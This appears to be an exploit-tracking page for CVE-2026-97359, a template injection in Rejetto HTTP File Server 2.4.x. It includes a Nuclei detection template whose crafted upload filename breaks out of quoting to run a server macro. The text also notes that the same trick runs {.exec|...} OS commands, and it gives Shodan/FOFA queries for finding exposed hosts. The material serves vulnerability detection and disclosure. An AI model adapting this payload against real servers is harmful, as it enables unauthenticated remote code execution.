CVE-2026-97359: Rejetto HTTP File Server 2.4.x - Template Injection

2026-11-09 PoC Public

Description

Rejetto HTTP File Server (HFS) 2.4.x inserts the multipart upload filename into the server-side template symbol map as %item-resource% without escaping. A filename containing the literal %item-resource% is substituted a second time by the sequential global replacement in xtpl(), allowing a :} sequence to terminate the quoting region so a following {.exec|...} macro is executed as an operating-system command. An unauthenticated attacker achieves remote code execution with a single request.

Details

CVE
CVE-2026-97359 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-97359

info:
  name: Rejetto HTTP File Server 2.4.x - Template Injection
  author: kosoyyagent
  severity: critical
  description: |
    Rejetto HTTP File Server (HFS) 2.4.x inserts the multipart upload filename into the server-side template symbol map as %item-resource% without escaping. A filename containing the literal %item-resource% is substituted a second time by the sequential global replacement in xtpl(), allowing a :} sequence to terminate the quoting region so a following {.exec|...} macro is executed as an operating-system command. An unauthenticated attacker achieves remote code execution with a single request.
  impact: |
    Unauthenticated attackers can execute arbitrary commands remotely, potentially leading to full system compromise.
  remediation: |
    Update to a version later than 2.4.0 or the latest available version.
  reference:
    - https://github.com/wgetnz/hfs2/blob/master/advisories/hfs2-upload-filename-template-injection/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-97359
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-97359
    epss-score: 0.05516
    epss-percentile: 0.92857
    cwe-id: CWE-1336
  metadata:
    max-request: 1
    vendor: rejetto
    product: http_file_server
    shodan-query: http.html:"HttpFileServer" || product:"HFS"
    fofa-query: app="HFS"
  tags: cve,cve2026,hfs,rejetto,ssti,rce,vkev

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----NucleiBoundaryV7k2
        Connection: close

        ------NucleiBoundaryV7k2
        Content-Disposition: form-data; name="f"; filename="%item-resource%:}{.add|7000000|788.}"
        Content-Type: application/octet-stream

        hi
        ------NucleiBoundaryV7k2--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '7000788'
          - '"err":"Not allowed."'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a2af38baa7e84f70a2fc57d011b4b112ba00b82eedccbc8508a7abfa148c69b5022100c3158d86a3aff09b37c2bc04e1cc1e3a3ef16e533b377566f2f9da798d8297b8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life